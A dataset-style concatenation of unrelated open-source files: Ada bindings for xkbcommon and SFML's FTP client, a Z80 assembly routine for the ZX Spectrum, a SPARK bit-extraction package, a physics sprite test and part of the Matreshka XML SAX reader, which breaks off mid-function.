function xkb_state_led_index_is_active
(state : xkb_state_access;
idx : xkb_led_index_t)
return int; -- /usr/include/xkbcommon/xkbcommon.h:1653
pragma Import
(C,
xkb_state_led_index_is_active,
"xkb_state_led_index_is_active");
private
type xkb_context is limited record
null;
end record;
type xkb_keymap is limited record
null;
end record;
type xkb_state is limited record
null;
end record;
end XKB;
|
libsrc/spectrum/display/zx_aaddr2saddr.asm | andydansby/z88dk-mk2 | 1 | 101525 | ; uchar __FASTCALL__ *zx_aaddr2saddr(void *attraddr)
; aralbrec 06.2007
XLIB zx_aaddr2saddr
.zx_aaddr2saddr
ld a,h
rlca
rlca
rlca
xor $82
ld h,a
ret
|
bits/src/extract/bitoperations-extract.ads | vasil-sd/ada-tlsf | 3 | 8586 | <reponame>vasil-sd/ada-tlsf
with BitOperations.Types;
with BitOperations.Shift;
with BitOperations.Mask;
generic
with package Types is new BitOperations.Types (<>);
package BitOperations.Extract with
SPARK_Mode, Pure, Preelaborate is
package Shift is new BitOperations.Shift(Types);
package Mask is new BitOperations.Mask(Types);
use Types;
function Extract (Value : Modular; From, To : Bit_Position) return Modular
with Pre => To >= From,
Post => Extract'Result =
(Shift.Logic_Right(Value, From) and Mask.Make(To - From + 1))
and then Extract'Result <= 2 ** (To - From + 1) - 1;
end BitOperations.Extract;
|
4-high/gel/applet/test/single/add_rid_sprite/launch_add_rid_sprite_test.adb | charlie5/lace | 20 | 5433 | <filename>4-high/gel/applet/test/single/add_rid_sprite/launch_add_rid_sprite_test.adb
with
ada.Streams.stream_IO;
with mmi.Forge,
mmi.Window.lumen,
mmi.Applet.gui_world,
mmi.Camera;
with mmi.Sprite,
openGL.Model.box.lit_colored_textured,
openGL.Model.sphere;
with opengl.Palette,
float_Math,
ada.Calendar;
procedure launch_add_rid_sprite_Test
--
-- drops a ball onto a box terrain.
--
--
is
use mmi.Applet, --mmi.box_Model,
openGL, opengl.Palette,
ada.Calendar;
package Math renames float_Math;
use type math.Real;
-- the_Window : mmi.Window.View := mmi.window.sdl.Forge.new_Window ("memory leak Test", 500, 500);
the_Applet : mmi.Applet.gui_world.view := mmi.forge.new_gui_Applet ("memory leak Test", 500, 500); --the_Window);
-- the_box_Model : aliased mmi.box_Model.item
-- := (mmi.Model.item with
-- scale => (10.0, 0.5, 10.0),
-- faces => (front => (colors => (others => (Red, Opaque))),
-- rear => (colors => (others => (Blue, Opaque))),
-- upper => (colors => (others => (Green, Opaque))),
-- lower => (colors => (others => (Yellow, Opaque))),
-- left => (colors => (others => (Cyan, Opaque))),
-- right => (colors => (others => (Magenta, Opaque)))));
the_Box : mmi.Sprite.view
:= mmi.forge.new_box_Sprite (the_Applet.gui_World, mass => 0.0);
-- the_ball_Model : aliased mmi.sphere_Model.item
-- := (mmi.Model.item with
-- scale => (1.0, 1.0, 1.0),
-- Image => mmi.to_Asset ("../assets/balls.tga"));
the_Balls : mmi.Sprite.views (1 .. 1)
:= (others => mmi.forge.new_ball_Sprite (the_Applet.gui_World, mass => 1.0));
next_render_Time : ada.calendar.Time;
begin
the_Applet.gui_Camera.Site_is ((0.0, 5.0, 15.0)); -- Position the camera
the_Applet.enable_simple_Dolly (1); -- Enable user camera control via keyboards
the_Applet.enable_Mouse (detect_Motion => False); -- Enable mouse events.
the_Applet.gui_World.add (the_Box); -- add the ground box
the_Box.Site_is ((0.0, 0.0, 0.0)); --
for Each in the_Balls'range
loop
the_Applet.gui_World.add (the_Balls (Each)); -- add ball
the_Balls (Each).Site_is ((0.0, 10.0, 0.0)); --
end loop;
for Each in 1 .. 100
loop
the_Applet.gui_World.evolve (by => 1.0/60.0); -- evolve the world
the_Applet.freshen; -- handle any new events and update the screen
end loop;
for Each in the_Balls'range
loop
the_Applet.gui_World.rid (the_Balls (Each)); -- rid ball
mmi.Sprite.free (the_Balls (Each));
end loop;
next_render_Time := ada.Calendar.clock;
while the_Applet.is_open
loop
the_Applet.gui_World.evolve (by => 1.0/60.0); -- evolve the world
the_Applet.freshen; -- handle any new events and update the screen
next_render_Time := next_render_Time + 1.0/60.0;
delay until next_render_Time;
end loop;
the_Applet.destroy;
end launch_add_rid_sprite_Test;
|
include/sf-network-ftp.adb | danva994/ASFML-1.6 | 1 | 17027 | <gh_stars>1-10
-- ////////////////////////////////////////////////////////////
-- //
-- // SFML - Simple and Fast Multimedia Library
-- // Copyright (C) 2007-2009 <NAME> (<EMAIL>)
-- //
-- // This software is provided 'as-is', without any express or implied warranty.
-- // In no event will the authors be held liable for any damages arising from the use of this software.
-- //
-- // Permission is granted to anyone to use this software for any purpose,
-- // including commercial applications, and to alter it and redistribute it freely,
-- // subject to the following restrictions:
-- //
-- // 1. The origin of this software must not be misrepresented;
-- // you must not claim that you wrote the original software.
-- // If you use this software in a product, an acknowledgment
-- // in the product documentation would be appreciated but is not required.
-- //
-- // 2. Altered source versions must be plainly marked as such,
-- // and must not be misrepresented as being the original software.
-- //
-- // 3. This notice may not be removed or altered from any source distribution.
-- //
-- ////////////////////////////////////////////////////////////
-- ////////////////////////////////////////////////////////////
-- // Headers
-- ////////////////////////////////////////////////////////////
with Interfaces.C.Strings;
package body Sf.Network.Ftp is
use Interfaces.C.Strings;
-- ////////////////////////////////////////////////////////////
-- /// Get the full message contained in the response
-- ///
-- /// \param FtpListingResponse : Ftp listing response
-- ///
-- /// \return The response message
-- ///
-- ////////////////////////////////////////////////////////////
function sfFtpListingResponse_GetMessage (FtpListingResponse : sfFtpListingResponse_Ptr) return String is
function Internal (FtpListingResponse : sfFtpListingResponse_Ptr) return chars_ptr;
pragma Import (C, Internal, "sfFtpListingResponse_GetMessage");
Temp : chars_ptr := Internal (FtpListingResponse);
R : String := Value (Temp);
begin
Free (Temp);
return R;
end sfFtpListingResponse_GetMessage;
-- ////////////////////////////////////////////////////////////
-- /// Get the Index-th filename in the directory
-- ///
-- /// \param FtpListingResponse : Ftp listing response
-- /// \param Index : Index of the filename to get
-- ///
-- /// \return Index-th filename
-- ///
-- ////////////////////////////////////////////////////////////
function sfFtpListingResponse_GetFilename (FtpListingResponse : sfFtpListingResponse_Ptr; Index : sfSize_t) return String is
function Internal (FtpListingResponse : sfFtpListingResponse_Ptr; Index : sfSize_t) return chars_ptr;
pragma Import (C, Internal, "sfFtpListingResponse_GetFilename");
Temp : chars_ptr := Internal (FtpListingResponse, Index);
R : String := Value (Temp);
begin
Free (Temp);
return R;
end sfFtpListingResponse_GetFilename;
-- ////////////////////////////////////////////////////////////
-- /// Get the full message contained in the response
-- ///
-- /// \param FtpDirectoryResponse : Ftp directory response
-- ///
-- /// \return The response message
-- ///
-- ////////////////////////////////////////////////////////////
function sfFtpDirectoryResponse_GetMessage (FtpDirectoryResponse : sfFtpDirectoryResponse_Ptr) return String is
function Internal (FtpDirectoryResponse : sfFtpDirectoryResponse_Ptr) return chars_ptr;
pragma Import (C, Internal, "sfFtpDirectoryResponse_GetMessage");
Temp : chars_ptr := Internal (FtpDirectoryResponse);
R : String := Value (Temp);
begin
Free (Temp);
return R;
end sfFtpDirectoryResponse_GetMessage;
-- ////////////////////////////////////////////////////////////
-- /// Get the directory returned in the response
-- ///
-- /// \param FtpDirectoryResponse : Ftp directory response
-- ///
-- /// \return Directory name
-- ///
-- ////////////////////////////////////////////////////////////
function sfFtpDirectoryResponse_GetDirectory (FtpDirectoryResponse : sfFtpDirectoryResponse_Ptr) return String is
function Internal (FtpDirectoryResponse : sfFtpDirectoryResponse_Ptr) return chars_ptr;
pragma Import (C, Internal, "sfFtpDirectoryResponse_GetDirectory");
Temp : chars_ptr := Internal (FtpDirectoryResponse);
R : String := Value (Temp);
begin
Free (Temp);
return R;
end sfFtpDirectoryResponse_GetDirectory;
-- ////////////////////////////////////////////////////////////
-- /// Get the full message contained in the response
-- ///
-- /// \param FtpResponse : Ftp response
-- ///
-- /// \return The response message
-- ///
-- ////////////////////////////////////////////////////////////
function sfFtpResponse_GetMessage (FtpResponse : sfFtpResponse_Ptr) return String is
function Internal (FtpResponse : sfFtpResponse_Ptr) return chars_ptr;
pragma Import (C, Internal, "sfFtpResponse_GetMessage");
Temp : chars_ptr := Internal (FtpResponse);
R : String := Value (Temp);
begin
Free (Temp);
return R;
end sfFtpResponse_GetMessage;
-- ////////////////////////////////////////////////////////////
-- /// Log in using a username and a password
-- ///
-- /// \param Ftp : Ftp instance
-- /// \param UserName : User name
-- /// \param Password : Password
-- ///
-- /// \return Server response to the request
-- ///
-- ////////////////////////////////////////////////////////////
function sfFtp_Login
(Ftp : sfFtp_Ptr;
UserName : String;
Password : String)
return sfFtpResponse_Ptr
is
function Internal
(Ftp : sfFtp_Ptr;
UserName : chars_ptr;
Password : chars_ptr)
return sfFtpResponse_Ptr;
pragma Import (C, Internal, "sfFtp_Login");
Temp1 : chars_ptr := New_String (UserName);
Temp2 : chars_ptr := New_String (Password);
R : sfFtpResponse_Ptr := Internal (Ftp, Temp1, Temp2);
begin
Free (Temp1);
Free (Temp2);
return R;
end sfFtp_Login;
-- ////////////////////////////////////////////////////////////
-- /// Get the contents of the given directory
-- /// (subdirectories and files)
-- ///
-- /// \param Ftp : Ftp instance
-- /// \param Directory : Directory to list ("" by default, the current one)
-- ///
-- /// \return Server response to the request
-- ///
-- ////////////////////////////////////////////////////////////
function sfFtp_GetDirectoryListing (Ftp : sfFtp_Ptr; Directory : String) return sfFtpListingResponse_Ptr is
function Internal (Ftp : sfFtp_Ptr; Directory : chars_ptr) return sfFtpListingResponse_Ptr;
pragma Import (C, Internal, "sfFtp_GetDirectoryListing");
Temp : chars_ptr := New_String (Directory);
R : sfFtpListingResponse_Ptr := Internal (Ftp, Temp);
begin
Free (Temp);
return R;
end sfFtp_GetDirectoryListing;
-- ////////////////////////////////////////////////////////////
-- /// Change the current working directory
-- ///
-- /// \param Ftp : Ftp instance
-- /// \param Directory : New directory, relative to the current one
-- ///
-- /// \return Server response to the request
-- ///
-- ////////////////////////////////////////////////////////////
function sfFtp_ChangeDirectory (Ftp : sfFtp_Ptr; Directory : String) return sfFtpResponse_Ptr is
function Internal (Ftp : sfFtp_Ptr; Directory : chars_ptr) return sfFtpResponse_Ptr;
pragma Import (C, Internal, "sfFtp_ChangeDirectory");
Temp : chars_ptr := New_String (Directory);
R : sfFtpResponse_Ptr := Internal (Ftp, Temp);
begin
Free (Temp);
return R;
end sfFtp_ChangeDirectory;
-- ////////////////////////////////////////////////////////////
-- /// Create a new directory
-- ///
-- /// \param Ftp : Ftp instance
-- /// \param Name : Name of the directory to create
-- ///
-- /// \return Server response to the request
-- ///
-- ////////////////////////////////////////////////////////////
function sfFtp_MakeDirectory (Ftp : sfFtp_Ptr; Name : String) return sfFtpResponse_Ptr is
function Internal (Ftp : sfFtp_Ptr; Name : chars_ptr) return sfFtpResponse_Ptr;
pragma Import (C, Internal, "sfFtp_MakeDirectory");
Temp : chars_ptr := New_String (Name);
R : sfFtpResponse_Ptr := Internal (Ftp, Temp);
begin
Free (Temp);
return R;
end sfFtp_MakeDirectory;
-- ////////////////////////////////////////////////////////////
-- /// Remove an existing directory
-- ///
-- /// \param Ftp : Ftp instance
-- /// \param Name : Name of the directory to remove
-- ///
-- /// \return Server response to the request
-- ///
-- ////////////////////////////////////////////////////////////
function sfFtp_DeleteDirectory (Ftp : sfFtp_Ptr; Name : String) return sfFtpResponse_Ptr is
function Internal (Ftp : sfFtp_Ptr; Name : chars_ptr) return sfFtpResponse_Ptr;
pragma Import (C, Internal, "sfFtp_DeleteDirectory");
Temp : chars_ptr := New_String (Name);
R : sfFtpResponse_Ptr := Internal (Ftp, Temp);
begin
Free (Temp);
return R;
end sfFtp_DeleteDirectory;
-- ////////////////////////////////////////////////////////////
-- /// Rename a file
-- ///
-- /// \param Ftp : Ftp instance
-- /// \param File : File to rename
-- /// \param NewName : New name
-- ///
-- /// \return Server response to the request
-- ///
-- ////////////////////////////////////////////////////////////
function sfFtp_RenameFile
(Ftp : sfFtp_Ptr;
File : String;
NewName : String)
return sfFtpResponse_Ptr
is
function Internal
(Ftp : sfFtp_Ptr;
File : chars_ptr;
NewName : chars_ptr)
return sfFtpResponse_Ptr;
pragma Import (C, Internal, "sfFtp_RenameFile");
Temp1 : chars_ptr := New_String (File);
Temp2 : chars_ptr := New_String (NewName);
R : sfFtpResponse_Ptr := Internal (Ftp, Temp1, Temp2);
begin
Free (Temp1);
Free (Temp2);
return R;
end sfFtp_RenameFile;
-- ////////////////////////////////////////////////////////////
-- /// Remove an existing file
-- ///
-- /// \param Ftp : Ftp instance
-- /// \param Name : File to remove
-- ///
-- /// \return Server response to the request
-- ///
-- ////////////////////////////////////////////////////////////
function sfFtp_DeleteFile (Ftp : sfFtp_Ptr; Name : String) return sfFtpResponse_Ptr is
function Internal (Ftp : sfFtp_Ptr; Name : chars_ptr) return sfFtpResponse_Ptr;
pragma Import (C, Internal, "sfFtp_DeleteFile");
Temp : chars_ptr := New_String (Name);
R : sfFtpResponse_Ptr := Internal (Ftp, Temp);
begin
Free (Temp);
return R;
end sfFtp_DeleteFile;
-- ////////////////////////////////////////////////////////////
-- /// Download a file from the server
-- ///
-- /// \param Ftp : Ftp instance
-- /// \param DistantFile : Path of the distant file to download
-- /// \param DestPath : Where to put to file on the local computer
-- /// \param Mode : Transfer mode (binary by default)
-- ///
-- /// \return Server response to the request
-- ///
-- ////////////////////////////////////////////////////////////
function sfFtp_Download
(Ftp : sfFtp_Ptr;
DistantFile : String;
DestPath : String;
Mode : sfFtpTransferMode)
return sfFtpResponse_Ptr
is
function Internal
(Ftp : sfFtp_Ptr;
DistantFile : chars_ptr;
DestPath : chars_ptr;
Mode : sfFtpTransferMode)
return sfFtpResponse_Ptr;
pragma Import (C, Internal, "sfFtp_Download");
Temp1 : chars_ptr := New_String (DistantFile);
Temp2 : chars_ptr := New_String (DestPath);
R : sfFtpResponse_Ptr := Internal (Ftp, Temp1, Temp2, Mode);
begin
Free (Temp1);
Free (Temp2);
return R;
end sfFtp_Download;
-- ////////////////////////////////////////////////////////////
-- /// Upload a file to the server
-- ///
-- /// \param Ftp : Ftp instance
-- /// \param LocalFile : Path of the local file to upload
-- /// \param DestPath : Where to put to file on the server
-- /// \param Mode : Transfer mode (binary by default)
-- ///
-- /// \return Server response to the request
-- ///
-- ////////////////////////////////////////////////////////////
function sfFtp_Upload
(Ftp : sfFtp_Ptr;
LocalFile : String;
DestPath : String;
Mode : sfFtpTransferMode)
return sfFtpResponse_Ptr
is
function Internal
(Ftp : sfFtp_Ptr;
LocalFile : chars_ptr;
DestPath : chars_ptr;
Mode : sfFtpTransferMode)
return sfFtpResponse_Ptr;
pragma Import (C, Internal, "sfFtp_Upload");
Temp1 : chars_ptr := New_String (LocalFile);
Temp2 : chars_ptr := New_String (DestPath);
R : sfFtpResponse_Ptr := Internal (Ftp, Temp1, Temp2, Mode);
begin
Free (Temp1);
Free (Temp2);
return R;
end sfFtp_Upload;
end Sf.Network.Ftp;
|
source/xml/sax/xml-sax-simple_readers.adb | svn2github/matreshka | 24 | 21221 | ------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- XML Processor --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2010-2014, <NAME> <<EMAIL>> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
with League.Strings.Internals;
with Matreshka.Internals.URI_Utilities;
with XML.SAX.Constants;
with XML.SAX.Simple_Readers.Callbacks;
with XML.SAX.Simple_Readers.Parser;
with XML.SAX.Simple_Readers.Scanner;
package body XML.SAX.Simple_Readers is
use Matreshka.Internals.Strings;
use XML.SAX.Readers;
use type League.Strings.Universal_String;
procedure Reset (Self : in out Simple_Reader);
-- Resets reader to start to read data from new input source.
--------------
-- Base_URI --
--------------
overriding function Base_URI
(Self : not null access constant Simple_Shared_Locator)
return League.IRIs.IRI is
begin
return Matreshka.Internals.XML.Base_Scopes.Base_URI (Self.Reader.Bases);
end Base_URI;
-----------
-- Clear --
-----------
procedure Clear (Item : in out YYSType) is
begin
if Item.String /= null then
Matreshka.Internals.Strings.Dereference (Item.String);
Item.String := null;
end if;
Item.Is_Whitespace := False;
Item.Symbol := Matreshka.Internals.XML.No_Symbol;
end Clear;
------------
-- Column --
------------
overriding function Column
(Self : not null access constant Simple_Shared_Locator) return Natural is
begin
return Self.Reader.Scanner_State.YY_Current_Column;
end Column;
---------------------
-- Content_Handler --
---------------------
overriding function Content_Handler
(Self : Simple_Reader) return XML.SAX.Readers.SAX_Content_Handler_Access is
begin
if Self.Content_Handler = Default_Handler'Access then
return null;
else
return Self.Content_Handler;
end if;
end Content_Handler;
-------------------------
-- Declaration_Handler --
-------------------------
overriding function Declaration_Handler
(Self : Simple_Reader)
return XML.SAX.Readers.SAX_Declaration_Handler_Access is
begin
if Self.Declaration_Handler = Default_Handler'Access then
return null;
else
return Self.Declaration_Handler;
end if;
end Declaration_Handler;
-----------------
-- DTD_Handler --
-----------------
overriding function DTD_Handler
(Self : Simple_Reader) return XML.SAX.Readers.SAX_DTD_Handler_Access is
begin
if Self.DTD_Handler = Default_Handler'Access then
return null;
else
return Self.DTD_Handler;
end if;
end DTD_Handler;
--------------
-- Encoding --
--------------
overriding function Encoding
(Self : not null access constant Simple_Shared_Locator)
return League.Strings.Universal_String
is
pragma Unreferenced (Self);
begin
return League.Strings.Empty_Universal_String;
end Encoding;
---------------------
-- Entity_Resolver --
---------------------
overriding function Entity_Resolver
(Self : Simple_Reader)
return XML.SAX.Readers.SAX_Entity_Resolver_Access is
begin
return Self.Entity_Resolver;
end Entity_Resolver;
-------------------
-- Error_Handler --
-------------------
overriding function Error_Handler
(Self : Simple_Reader) return XML.SAX.Readers.SAX_Error_Handler_Access is
begin
if Self.Error_Handler = Default_Handler'Access then
return null;
else
return Self.Error_Handler;
end if;
end Error_Handler;
-------------
-- Feature --
-------------
overriding function Feature
(Self : Simple_Reader;
Name : League.Strings.Universal_String)
return Boolean is
begin
if Name = XML.SAX.Constants.Namespaces_Feature then
return Self.Configuration.Enable_Namespaces;
elsif Name = XML.SAX.Constants.Namespace_Prefixes_Feature then
return Self.Configuration.Enable_Prefixes;
elsif Name = XML.SAX.Constants.Validation_Feature then
return Self.Configuration.Enable_Validation;
elsif Name = XML.SAX.Constants.Load_External_DTD_Feature then
return Self.Configuration.Load_External_DTD;
end if;
raise Constraint_Error;
end Feature;
--------------
-- Finalize --
--------------
overriding procedure Finalize (Self : in out Simple_Reader) is
Locator : Matreshka.Internals.SAX_Locators.Shared_Locator_Access
:= Matreshka.Internals.SAX_Locators.Shared_Locator_Access
(Self.Locator);
begin
Self.Locator.Reader := null;
Self.Locator := null;
Matreshka.Internals.SAX_Locators.Dereference (Locator);
Scanner.Finalize (Self);
Matreshka.Internals.Strings.Dereference (Self.Character_Buffer);
Matreshka.Internals.Strings.Dereference (Self.Character_Data);
Matreshka.Internals.XML.Attribute_Tables.Finalize (Self.Attributes);
Matreshka.Internals.XML.Base_Scopes.Finalize (Self.Bases);
Matreshka.Internals.XML.Element_Tables.Finalize (Self.Elements);
Matreshka.Internals.XML.Symbol_Tables.Finalize (Self.Symbols);
Matreshka.Internals.XML.Entity_Tables.Finalize (Self.Entities);
Matreshka.Internals.XML.Namespace_Scopes.Finalize (Self.Namespace_Scope);
Matreshka.Internals.XML.Notation_Tables.Finalize (Self.Notations);
Matreshka.Internals.XML.Attributes.Finalize (Self.Attribute_Set);
end Finalize;
-----------------
-- Has_Feature --
-----------------
overriding function Has_Feature
(Self : Simple_Reader;
Name : League.Strings.Universal_String) return Boolean
is
pragma Unreferenced (Self);
begin
if Name = XML.SAX.Constants.Namespaces_Feature then
return True;
elsif Name = XML.SAX.Constants.Namespace_Prefixes_Feature then
return True;
elsif Name = XML.SAX.Constants.Validation_Feature then
return True;
elsif Name = XML.SAX.Constants.Load_External_DTD_Feature then
return True;
else
return False;
end if;
end Has_Feature;
----------------
-- Initialize --
----------------
overriding procedure Initialize (Self : in out Simple_Reader) is
begin
Matreshka.Internals.XML.Attributes.Initialize (Self.Attribute_Set);
Matreshka.Internals.XML.Base_Scopes.Initialize (Self.Bases);
Matreshka.Internals.XML.Namespace_Scopes.Initialize
(Self.Namespace_Scope);
Matreshka.Internals.XML.Entity_Tables.Initialize (Self.Entities);
Matreshka.Internals.XML.Symbol_Tables.Initialize (Self.Symbols);
XML.SAX.Simple_Readers.Parser.Initialize (Self.Parser_State);
Self.Character_Buffer := Matreshka.Internals.Strings.Allocate (2);
-- Preallocate internal buffer for character reference handling. One
-- Unicode character can be represented in UTF-16 encoding by one or
-- or two code units, thus preallocate enough space.
Scanner.Initialize (Self);
Self.Locator :=
new Simple_Shared_Locator'
(Matreshka.Internals.SAX_Locators.Shared_Abstract_Locator with
Reader => Self'Unchecked_Access);
end Initialize;
---------------------
-- Lexical_Handler --
---------------------
overriding function Lexical_Handler
(Self : Simple_Reader) return XML.SAX.Readers.SAX_Lexical_Handler_Access is
begin
if Self.Lexical_Handler = Default_Handler'Access then
return null;
else
return Self.Lexical_Handler;
end if;
end Lexical_Handler;
----------
-- Line --
----------
overriding function Line
(Self : not null access constant Simple_Shared_Locator) return Natural is
begin
return Self.Reader.Scanner_State.YY_Current_Line;
end Line;
----------
-- Move --
----------
procedure Move
(To : in out YYSType;
From : in out YYSType) is
begin
To.String := From.String;
To.Is_Whitespace := From.Is_Whitespace;
To.Symbol := From.Symbol;
From.String := null;
From.Is_Whitespace := False;
From.Symbol := Matreshka.Internals.XML.No_Symbol;
end Move;
-----------
-- Parse --
-----------
procedure Parse
(Self : in out Simple_Reader;
Source : not null access XML.SAX.Input_Sources.SAX_Input_Source'Class) is
begin
Self.Set_Input_Source (Source);
Self.Configuration.Incremental := False;
Self.Parse;
end Parse;
-----------
-- Parse --
-----------
not overriding procedure Parse (Self : in out Simple_Reader) is
begin
if Self.Configuration.Reset then
Reset (Self);
end if;
Parser.YYParse (Self);
Ada.Exceptions.Reraise_Occurrence (Self.User_Exception);
end Parse;
---------------
-- Public_Id --
---------------
overriding function Public_Id
(Self : not null access constant Simple_Shared_Locator)
return League.Strings.Universal_String is
begin
return
League.Strings.Internals.Create
(Matreshka.Internals.XML.Entity_Tables.Public_Id
(Self.Reader.Entities, Self.Reader.Scanner_State.Entity));
end Public_Id;
-----------
-- Reset --
-----------
procedure Reset (Self : in out Simple_Reader) is
use Matreshka.Internals.XML;
use Matreshka.Internals.XML.Entity_Tables;
Entity : Entity_Identifier;
begin
-- Reset reader's state to initial.
Matreshka.Internals.XML.Attribute_Tables.Reset (Self.Attributes);
Matreshka.Internals.XML.Base_Scopes.Reset (Self.Bases);
Matreshka.Internals.XML.Element_Tables.Reset (Self.Elements);
Matreshka.Internals.XML.Entity_Tables.Reset (Self.Entities);
Matreshka.Internals.XML.Namespace_Scopes.Reset (Self.Namespace_Scope);
Matreshka.Internals.XML.Symbol_Tables.Reset (Self.Symbols);
Matreshka.Internals.XML.Notation_Tables.Reset (Self.Notations);
Self.Namespaces.Enabled := Self.Configuration.Enable_Namespaces;
Self.Namespaces.Prefixes := Self.Configuration.Enable_Prefixes;
Self.Validation.Enabled := Self.Configuration.Enable_Validation;
Self.Validation.Load_DTD := Self.Configuration.Load_External_DTD;
Self.Validation.Has_DTD := False;
if Self.Validation.Enabled then
-- This feature is always on when validation is on.
Self.Validation.Load_DTD := True;
end if;
Callbacks.Call_Set_Document_Locator (Self);
Self.Version := XML_1_0;
New_Document_Entity
(Self.Entities,
Self.Configuration.Source.Public_Id,
Self.Configuration.Source.System_Id,
Matreshka.Internals.URI_Utilities.Directory_Name
(Self.Configuration.Source.System_Id),
Entity);
Self.Scanner_State :=
(Entity => Entity,
Source => Self.Configuration.Source,
Data => Matreshka.Internals.Strings.Shared_Empty'Access,
Incremental => Self.Configuration.Incremental,
others => <>);
Self.Parser_State.TOS := 0;
Self.Parser_State.Look_Ahead := True;
Self.Parser_State.Error := False;
Scanner.Initialize (Self);
-- Initialize base URI.
Matreshka.Internals.XML.Base_Scopes.Push_Scope
(Self.Bases,
League.IRIs.From_Universal_String
(Matreshka.Internals.URI_Utilities.Directory_Name
(Self.Configuration.Source.System_Id)));
Self.Configuration.Reset := False;
Self.Configuration.Source := null;
Self.In_Document_Content := False;
Self.Is_Standalone := False;
end Reset;
-------------------------
-- Set_Content_Handler --
-------------------------
overriding procedure Set_Content_Handler
(Self : in out Simple_Reader;
Handler : XML.SAX.Readers.SAX_Content_Handler_Access) is
begin
if Handler = null then
Self.Content_Handler := Default_Handler'Access;
else
Self.Content_Handler := Handler;
end if;
end Set_Content_Handler;
-----------------------------
-- Set_Declaration_Handler --
-----------------------------
overriding procedure Set_Declaration_Handler
(Self : in out Simple_Reader;
Handler : XML.SAX.Readers.SAX_Declaration_Handler_Access) is
begin
if Handler = null then
Self.Declaration_Handler := Default_Handler'Access;
else
Self.Declaration_Handler := Handler;
end if;
end Set_Declaration_Handler;
---------------------
-- Set_DTD_Handler --
---------------------
overriding procedure Set_DTD_Handler
(Self : in out Simple_Reader;
Handler : XML.SAX.Readers.SAX_DTD_Handler_Access) is
begin
if Handler = null then
Self.DTD_Handler := Default_Handler'Access;
else
Self.DTD_Handler := Handler;
end if;
end Set_DTD_Handler;
-------------------------
-- Set_Entity_Resolver --
-------------------------
overriding procedure Set_Entity_Resolver
(Self : in out Simple_Reader;
Resolver : XML.SAX.Readers.SAX_Entity_Resolver_Access) is
begin
Self.Entity_Resolver := Resolver;
end Set_Entity_Resolver;
-----------------------
-- Set_Error_Handler --
-----------------------
overriding procedure Set_Error_Handler
(Self : in out Simple_Reader;
Handler : XML.SAX.Readers.SAX_Error_Handler_Access) is
begin
if Handler = null then
Self.Error_Handler := Default_Handler'Access;
else
Self.Error_Handler := Handler;
end if;
end Set_Error_Handler;
-----------------
-- Set_Feature --
-----------------
overriding procedure Set_Feature
(Self : in out Simple_Reader;
Name : League.Strings.Universal_String;
Value : Boolean) is
begin
if Name = XML.SAX.Constants.Namespaces_Feature then
Self.Configuration.Enable_Namespaces := Value;
elsif Name = XML.SAX.Constants.Namespace_Prefixes_Feature then
Self.Configuration.Enable_Prefixes := Value;
elsif Name = XML.SAX.Constants.Validation_Feature then
Self.Configuration.Enable_Validation := Value;
elsif Name = XML.SAX.Constants.Load_External_DTD_Feature then
Self.Configuration.Load_External_DTD := Value;
end if;
end Set_Feature;
----------------------
-- Set_Input_Source --
----------------------
not overriding procedure Set_Input_Source
(Self : in out Simple_Reader;
Source : not null access XML.SAX.Input_Sources.SAX_Input_Source'Class) is
begin
Self.Configuration.Source := Source.all'Unchecked_Access;
Self.Configuration.Incremental := True;
Self.Configuration.Reset := True;
end Set_Input_Source;
-------------------------
-- Set_Lexical_Handler --
-------------------------
overriding procedure Set_Lexical_Handler
(Self : in out Simple_Reader;
Handler : XML.SAX.Readers.SAX_Lexical_Handler_Access) is
begin
if Handler = null then
Self.Lexical_Handler := Default_Handler'Access;
else
Self.Lexical_Handler := Handler;
end if;
end Set_Lexical_Handler;
----------------
-- Set_String --
----------------
procedure Set_String
(Item : in out YYSType;
String : League.Strings.Universal_String;
Is_Whitespace : Boolean)
is
pragma Assert (Item.String = null);
begin
Item.String := League.Strings.Internals.Internal (String);
Item.Is_Whitespace := Is_Whitespace;
Item.Symbol := Matreshka.Internals.XML.No_Symbol;
Matreshka.Internals.Strings.Reference (Item.String);
end Set_String;
-------------------------
-- Set_String_Internal --
-------------------------
procedure Set_String_Internal
(Item : in out YYSType;
String : Matreshka.Internals.Strings.Shared_String_Access;
Is_Whitespace : Boolean)
is
pragma Assert (Item.String = null);
begin
Item.String := String;
Item.Is_Whitespace := Is_Whitespace;
Item.Symbol := Matreshka.Internals.XML.No_Symbol;
end Set_String_Internal;
----------------
-- Set_Symbol --
----------------
procedure Set_Symbol
(Item : in out YYSType;
Symbol : Matreshka.Internals.XML.Symbol_Identifier)
is
pragma Assert (Item.String = null);
begin
Item.String := null;
Item.Is_Whitespace := False;
Item.Symbol := Symbol;
end Set_Symbol;
---------------
-- System_Id --
---------------
overriding function System_Id
(Self : not null access constant Simple_Shared_Locator)
return League.Strings.Universal_String is
